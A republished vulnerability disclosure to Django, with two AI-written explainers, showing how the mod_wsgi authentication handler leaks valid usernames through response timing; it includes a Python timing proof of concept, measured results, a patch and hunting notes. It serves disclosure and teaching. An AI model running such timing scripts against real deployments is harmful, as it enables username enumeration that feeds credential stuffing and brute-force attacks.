Skip to content
Info disclosure Disclosed report Intermediate

User enumeration via timing attack in Django mod_wsgi authentication backend leads to account discovery

The mod_wsgi authentication backend in Django returns immediately for non-existent usernames without performing password hashing, making responses measurably faster than for valid usernames. An attacker can exploit this timing difference to enumerate valid usernames.

stackered Follow

Originally disclosed on HackerOne

  • Triaged in 15 days
  • Fixed in 3 months
  • Disclosed after 3 months

User enumeration via timing attack when using mod_wsgi authentication backend

Hi Django Security Team,

Issue Description

The vulnerability exists in the check_password function in django/contrib/auth/handlers/modwsgi.py. When a non-existent username is provided, the function returns immediately without performing password verification:

Python
def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            return None
        if not user.is_active:
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

Steps to Reproduce

  1. Launch the provided docker container to setup the testing environment. I tried to follow the official documentation to build this environment.
Bash
docker build -t django-apache-auth .
docker run --rm -it -p 8000:80 django-apache-auth
  1. Run the following Python script:
Python
import requests
from requests.auth import HTTPBasicAuth

url = "http://localhost:8000/secret"
username = "admin"
password = "notthepassword"

#warmup
response = requests.get(url, auth=HTTPBasicAuth(username, password))
response = requests.get(url, auth=HTTPBasicAuth(username, password))

# slow response
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# slow response
username = "admin"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

The script produces output similar to:

379669
3090
2347
236157

This clearly demonstrates that authentication attempts with existing usernames (admin) take significantly longer than attempts with non-existent usernames.

Impact

This timing attack allows attackers to enumerate valid usernames in the system, which can be used as a stepping stone for further attacks such as credential stuffing or brute force attempts focused on known valid accounts.

Remediation

I suggest applying the same counter-measure implemented in the other authentication backend, namely calling UserModel().set_password(password) before returning None :

Python
def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            UserModel().set_password(password)
            return None
        if not user.is_active:
            UserModel().set_password(password)
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

With this fix implemented, the previous PoC produces results like this:

339185
340059
342360
342630

Demonstrating that it fixes the vulnerability.

The original report as published on HackerOne, by stackered. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Django ships an authentication handler for use with Apache and mod_wsgi, documented in the deployment guide for Apache authentication. When a site is configured this way, Apache delegates HTTP Basic authentication to Django through a callable named check_password, which lives in django/contrib/auth/handlers/modwsgi.py. The mod_wsgi documentation specifies that this callable returns None, True or False depending on whether the user exists and whether the supplied credentials are valid.

The handler looks up the user by natural key, checks that the account is active, and then verifies the password. The report is about what happens on the paths where the user does not exist or is inactive: the function returns before any password hashing takes place.

Setup

The researcher built a test environment following the official Django documentation for Apache authentication with mod_wsgi, packaged as a Docker container. The container is built and run with:

Bash
docker build -t django-apache-auth .
docker run --rm -it -p 8000:80 django-apache-auth

This maps port 80 inside the container to port 8000 on the host. The protected resource used in the proof of concept is /secret. The account used as the existing user is admin; the non-existent username used for comparison is nonexistant. No version numbers, configuration files or Apache directives are given in the report beyond the reference to the official documentation.

Finding it

The researcher read the check_password implementation and noticed that the non-existent-user branch returns immediately:

Python
def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            return None
        if not user.is_active:
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

When the lookup raises UserModel.DoesNotExist, the function returns None without calling user.check_password(password). For an existing, active user, the password hash is computed and compared. Password hashing is deliberately expensive, so the two paths do measurably different amounts of work. That difference is the timing signal.

Exploitation

Step 1: start the environment

The container is built and started as shown above, exposing the protected /secret endpoint on http://localhost:8000/secret.

Step 2: measure response times for existing and non-existent users

The researcher wrote a Python script that sends HTTP Basic authentication requests and prints the elapsed time in microseconds for each attempt:

Python
import requests
from requests.auth import HTTPBasicAuth

url = "http://localhost:8000/secret"
username = "admin"
password = "notthepassword"

#warmup
response = requests.get(url, auth=HTTPBasicAuth(username, password))
response = requests.get(url, auth=HTTPBasicAuth(username, password))

# slow response
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# slow response
username = "admin"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

The script sends two warm-up requests with the existing username admin and a wrong password, then measures a third request for admin, two requests for the non-existent username nonexistant, and a final request for admin again. The script sends two warm-up requests with the existing username admin and a wrong password before the measured ones. The wrong password notthepassword is used throughout, so the only variable between the slow and fast cases is whether the username exists.

Step 3: read the results

The script produced output similar to:

Text
379669
3090
2347
236157

The two requests for admin took roughly 380 ms and 236 ms, while the two requests for nonexistant took roughly 3 ms and 2 ms. The gap is large: the requests for admin took roughly 380 ms and 236 ms, the requests for nonexistant roughly 3 ms and 2 ms. The script measures existing, non-existent, non-existent and existing usernames in that order.

Root cause

The handler short-circuits on the UserModel.DoesNotExist branch and on the inactive-user branch, returning None before any password hashing is performed. The valid-user branch calls user.check_password(password), which runs the configured password hasher. Because the hasher is intentionally slow, the response time reveals whether the username resolved to an active account.

Impact

An attacker can enumerate valid usernames by timing authentication attempts against a Django deployment that uses the mod_wsgi authentication handler. The researcher frames this as a stepping stone: the resulting list of known valid accounts can feed credential stuffing or brute force attempts focused on accounts that are known to exist. The report does not give a severity rating or describe exploitation against any specific live site.

Fix

The researcher proposed mirroring the countermeasure already used in the other authentication backend: call UserModel().set_password(password) before returning None, so the non-existent and inactive branches also pay the cost of password hashing.

Python
def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            UserModel().set_password(password)
            return None
        if not user.is_active:
            UserModel().set_password(password)
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

With this change, the same proof of concept produced output like:

Text
339185
340059
342360
342630

All four measurements are now in the same range, so the response time no longer distinguishes existing from non-existent usernames. The report presents this as the suggested remediation and demonstrates that it removes the observable difference; it does not state which change, if any, was ultimately merged.

Variants to test

  • Other authentication backends and handlers that look up a user and return early on a miss. A positive result is a consistent timing gap between an existing and a non-existent username across repeated, interleaved requests.
  • The inactive-user branch in the same handler, which the report also patches. A positive result is a timing difference between an inactive account and a non-existent one, or between an inactive account and an active one.
  • Any endpoint that performs a user lookup before password verification, such as login forms, password reset flows and API token endpoints. A positive result is a stable difference in response time that follows the username rather than the request order.
  • Different password hashers and work factors. A positive result is a gap that scales with the cost of the configured hasher, which confirms the hashing path is the source of the difference.

Hunting notes

This kind of bug hides in code that branches on whether a record exists before doing expensive work. In Django projects, the mod_wsgi authentication handler is a narrow, deployment-specific surface, so the signal during recon is a site using Apache authentication backed by Django rather than Django's own login views. More generally, any handler that returns early on a failed lookup while the success path hashes a password is worth timing.

The researcher built an environment from the official documentation, used a script that measures existing and non-existent usernames in alternation, and included warm-up requests. The report shows a large measured gap and a patched version with timings in the same range.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a way to work out which usernames exist on a website built with Django, a popular toolkit for making web applications. The trick is not to guess passwords or break anything. It is simply to measure how long the website takes to answer a login attempt.

When you try a username that really exists, the site takes longer to answer than for a username that does not exist. When you try a username that does not exist, the site can answer almost instantly, because there is no password to check. That difference in speed is the leak. By timing many attempts, an attacker can build a list of real usernames, and then focus password-guessing attacks on those accounts.

The researcher showed this against a specific setup: Django running behind Apache, a widely used web server, using a feature called mod_wsgi that lets Apache hand the login check over to Django. They wrote a small script that sends login attempts and prints how long each one took, and the numbers made the gap obvious. They also proposed a fix, and showed that with the fix the timings become roughly equal.

Background: the pieces involved

Before the details, here are the main parts, explained from scratch.

Django is a framework for building websites with the Python programming language. It comes with a built-in system for user accounts: storing users, checking passwords, and so on. That system is called the authentication system.

Apache is a web server: the program that receives requests from browsers and sends back pages. mod_wsgi is an add-on for Apache that lets it run Python applications, including Django, so Apache can serve a Django site.

HTTP Basic authentication is a very simple login method built into the web. When a browser requests a protected page, the server replies asking for a username and password. The browser then resends the request with those credentials attached. If they are correct, the page is shown; if not, the browser is asked again. It is like a bouncer at a door who asks for your name and a password before letting you in.

A timing attack is a kind of security bug where the time something takes reveals secret information. Imagine a shop assistant who checks a list of members. If your name is on the list, they walk to the back room to fetch your file (slow); if not, they say "no" straight away (fast). A patient observer at the counter could learn who is a member just by watching how long each person waits. No data is stolen directly; the delay itself is the clue.

User enumeration is the name for collecting a list of valid usernames this way (or by any other means). It matters because many attacks become much easier once the attacker knows which accounts are real.

Password hashing is how websites store passwords safely. Instead of keeping the password itself, they keep a scrambled value produced by a mathematical function called a hash. Checking a password means running the same function and comparing results. These functions are deliberately designed to be slow, so that guessing passwords is expensive for attackers. That slowness is exactly what creates the timing difference here.

The vulnerable code

Django includes a small piece of code specifically for the Apache plus mod_wsgi setup, documented in its deployment guide for Apache authentication. When a site is configured this way, Apache does not check passwords itself. Instead it calls a function in Django named check_password, which lives in the file django/contrib/auth/handlers/modwsgi.py. The mod_wsgi documentation says this function should return None, True or False, depending on whether the user exists and whether the password is correct.

The researcher read that function and noticed what happens when the username does not exist:

Python
def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            return None
        if not user.is_active:
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

Line by line, in plain words:

  • def check_password(environ, username, password): declares the function. It receives some information about the request (environ), the username typed in, and the password typed in.
  • The text in triple quotes is a docstring, a note for developers. It says the function authenticates against Django's user database, and that mod_wsgi expects None, True or False back depending on whether the user exists and the credentials are valid.
  • The comment lines explain that database connections are handled the same way as in the main web handler, because mod_wsgi may call this function outside a normal request.
  • db.reset_queries() tidies up any pending database queries before starting.
  • try: begins a block where the code will try to do something that might fail.
  • user = UserModel._default_manager.get_by_natural_key(username) asks the database: is there a user with this username? If yes, it is stored in the variable user.
  • except UserModel.DoesNotExist: catches the specific error that means "no such user".
  • return None is the important line. If the user does not exist, the function answers immediately. It never checks any password.
  • if not user.is_active: handles accounts that exist but have been deactivated. It also returns None straight away, again without checking a password.
  • return user.check_password(password) is the path for a real, active user. Here the password is actually checked, which means the slow hashing work is done.
  • finally: runs whatever happens, and db.close_old_connections() closes database connections that are no longer needed.

The key observation: for a real, active user the code does the expensive password check, and for a missing or inactive user it returns before that work. The two paths do measurably different amounts of work, and that difference is the timing signal.

Setting up a test environment

The researcher built a test environment following the official Django documentation for Apache authentication with mod_wsgi, packaged as a Docker container. Docker is a tool that packages a whole configured system (here, Apache plus Django) into a single runnable box, so the test can be repeated exactly.

The container is built and run with:

Bash
docker build -t django-apache-auth .
docker run --rm -it -p 8000:80 django-apache-auth

What each line does:

  • docker build -t django-apache-auth . builds the container image from the files in the current folder (the dot at the end) and gives it the name django-apache-auth.
  • docker run --rm -it -p 8000:80 django-apache-auth starts that image. --rm removes the container when it stops, -it gives an interactive terminal, and -p 8000:80 connects port 8000 on the researcher's own machine to port 80 inside the container. Ports are numbered doors through which network traffic enters a machine.

After this, the protected page is reachable at http://localhost:8000/secret. localhost means "this same computer". The page /secret is the resource the proof of concept protects with a login. The account used as the existing user is admin, and the made-up username used for comparison is nonexistant. The report gives no version numbers, configuration files or Apache settings beyond the reference to the official documentation.

Step 1: start the environment

This is the same build and run step shown above. Its purpose is to have a working, protected page at http://localhost:8000/secret that asks for a username and password, so the timing can be measured against something real.

Step 2: measure response times

The researcher wrote a Python script that sends login attempts and prints how long each one took, in microseconds (millionths of a second):

Python
import requests
from requests.auth import HTTPBasicAuth

url = "http://localhost:8000/secret"
username = "admin"
password = "notthepassword"

#warmup
response = requests.get(url, auth=HTTPBasicAuth(username, password))
response = requests.get(url, auth=HTTPBasicAuth(username, password))

# slow response
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# slow response
username = "admin"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

Line by line:

  • import requests loads a popular Python library for making web requests, so the script can act like a browser.
  • from requests.auth import HTTPBasicAuth loads a helper that attaches a username and password to a request in the HTTP Basic authentication format.
  • url = "http://localhost:8000/secret" is the protected page to request.
  • username = "admin" and password = "notthepassword" set the first credentials. The password is deliberately wrong, so the login will fail; that is fine, because the script only cares about timing.
  • The two lines under #warmup send the same request twice and ignore the results. This is like warming up an engine: the very first requests to a freshly started program pay one-off setup costs, which would otherwise distort the comparison.
  • The next request, marked # slow response, is sent with the existing username admin, and print(response.elapsed.microseconds) prints how long it took, in microseconds. response.elapsed is the time the request took.
  • Then username = "nonexistant" switches to a username that does not exist, and the next request is sent and timed. The comment predicts a fast response.
  • The same is repeated once more for nonexistant, giving a second fast measurement.
  • Finally username = "admin" switches back and one more request is timed, predicted to be slow again.

The order matters. By alternating existing, non-existent, non-existent, existing, the script shows that the difference follows the username and not the position of the request in the sequence. The wrong password notthepassword is used throughout, so the only thing that changes between the slow and fast cases is whether the username exists.

Step 3: read the results

The script produced output similar to:

Text
379669
3090
2347
236157

These are four timings in microseconds, in the order the script printed them. The two requests for admin took roughly 380,000 and 236,000 microseconds, while the two requests for nonexistant took roughly 3,000 and 2,000 microseconds. A millisecond is a thousandth of a second, so the gap is around a hundred times: two orders of magnitude. That gap is the password hashing work that only happens when the user exists. Because the slow and fast results alternate with the username, the difference is clearly tied to whether the account is real.

Why it happens

The handler returns early on the UserModel.DoesNotExist branch and on the inactive-user branch, answering None before any password hashing is done. The valid-user branch calls user.check_password(password), which runs the configured password hasher. Because the hasher is intentionally slow, the response time reveals whether the username belongs to an active account.

Impact

An attacker can build a list of valid usernames by timing login attempts against a Django deployment that uses the mod_wsgi authentication handler. The researcher frames this as a stepping stone: the resulting list of known accounts can feed credential stuffing (trying leaked username and password pairs on other sites) or brute force attempts (trying many passwords) focused on accounts that are known to exist. The report gives no severity rating and does not describe exploitation against any specific live site.

The fix

The researcher proposed copying the countermeasure already used in Django's other authentication backend: call UserModel().set_password(password) before returning None, so the missing-user and inactive-user branches also pay the cost of password hashing.

Python
def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            UserModel().set_password(password)
            return None
        if not user.is_active:
            UserModel().set_password(password)
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

The only change is the two added lines. In the branch where the user does not exist, UserModel().set_password(password) creates a throwaway user object and runs the password hashing on the supplied password, then return None still answers "no such user". The same line is added to the inactive-user branch. With the change, the same proof of concept produced timings all in the same range. The answer to the login attempt is unchanged; only the effort spent is equalised.

With this change, the same proof of concept produced output like:

Text
339185
340059
342360
342630

All four measurements are now in the same range, around 340 milliseconds, so the response time no longer tells existing usernames apart from non-existent ones. The report presents this as the suggested remediation and demonstrates that it removes the observable difference. It does not say which change, if any, was ultimately merged.

Variants to test

These are other places where the same idea could be checked:

  • Other authentication backends and handlers that look up a user and return early when the lookup fails. A positive result is a consistent timing gap between an existing and a non-existent username across repeated, interleaved requests.
  • The inactive-user branch in the same handler, which the report also patches. A positive result is a timing difference between an inactive account and a non-existent one, or between an inactive account and an active one.
  • Any page that looks up a user before checking a password, such as login forms, password reset flows and API token endpoints. An API is a way for programs to talk to a service over the web; a token endpoint is a page that hands out access tokens, which are like temporary keys. A positive result is a stable difference in response time that follows the username rather than the request order.
  • Different password hashers and work factors. A work factor is the setting that makes hashing slower or faster. A positive result is a gap that grows with the cost of the configured hasher, which confirms the hashing path is the source of the difference.

Hunting notes

This kind of bug hides in code that branches on whether a record exists before doing expensive work. In Django projects, the mod_wsgi authentication handler is a narrow, deployment-specific surface, so the signal during recon (the early information-gathering phase of a security test) is a site using Apache authentication backed by Django rather than Django's own login pages. More generally, any handler that returns early on a failed lookup while the success path hashes a password is worth timing.

The researcher built an environment from the official documentation, used a script that measures existing and non-existent usernames in alternation, and included warm-up requests. The report shows a large measured gap and a patched version with timings in the same range.

Glossary

  • Apache: a widely used web server program that receives requests from browsers and sends back pages.
  • API: a way for programs to talk to a service over the web, exchanging data rather than web pages.
  • Authentication: the process of proving who you are, usually with a username and password.
  • Authentication backend: a component that performs the actual username and password check for a web framework.
  • Brute force: trying many passwords in turn until one works.
  • Container: a packaged, self-contained runnable system, here Apache plus Django, created with Docker.
  • Credential stuffing: trying username and password pairs leaked from one site on another site, hoping people reused them.
  • Django: a framework for building websites with the Python programming language, with a built-in user account system.
  • Docker: a tool for building and running containers.
  • Docstring: a note written inside code to describe what a function does, for developers.
  • Endpoint: a specific address on a website that a request can be sent to.
  • Hash: a scrambled value produced from data by a mathematical function, used to store passwords without keeping the originals.
  • HTTP Basic authentication: a simple login method where the browser sends a username and password with each request to a protected page.
  • Impact: the harm an attacker could cause by abusing a vulnerability.
  • Inactive account: a user account that exists but has been deactivated and cannot log in.
  • Localhost: the name for "this same computer" in networking.
  • Microsecond: one millionth of a second.
  • Millisecond: one thousandth of a second.
  • mod_wsgi: an add-on for Apache that lets it run Python applications such as Django.
  • Password hashing: running a password through a deliberately slow function so that checking it is expensive, which makes guessing harder.
  • Port: a numbered door through which network traffic enters a machine.
  • Proof of concept (PoC): a small demonstration that shows a vulnerability is real.
  • Recon: the early information-gathering phase of a security test.
  • Remediation: the fix for a vulnerability.
  • Response time: how long a server takes to answer a request.
  • Root cause: the underlying reason a vulnerability exists.
  • Severity rating: a score describing how serious a vulnerability is.
  • Timing attack: a security bug where the time something takes reveals secret information.
  • Token: a temporary key a service hands out to let a program access it.
  • User enumeration: collecting a list of valid usernames, here by measuring response times.
  • Vulnerability: a weakness in software that an attacker could abuse.
  • Warm-up request: an initial request sent to absorb one-off startup costs before real measurements are taken.
  • Work factor: the setting that controls how slow password hashing is.

More by stackered

View all

3 more disclosed reports, best first.

More from Django

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.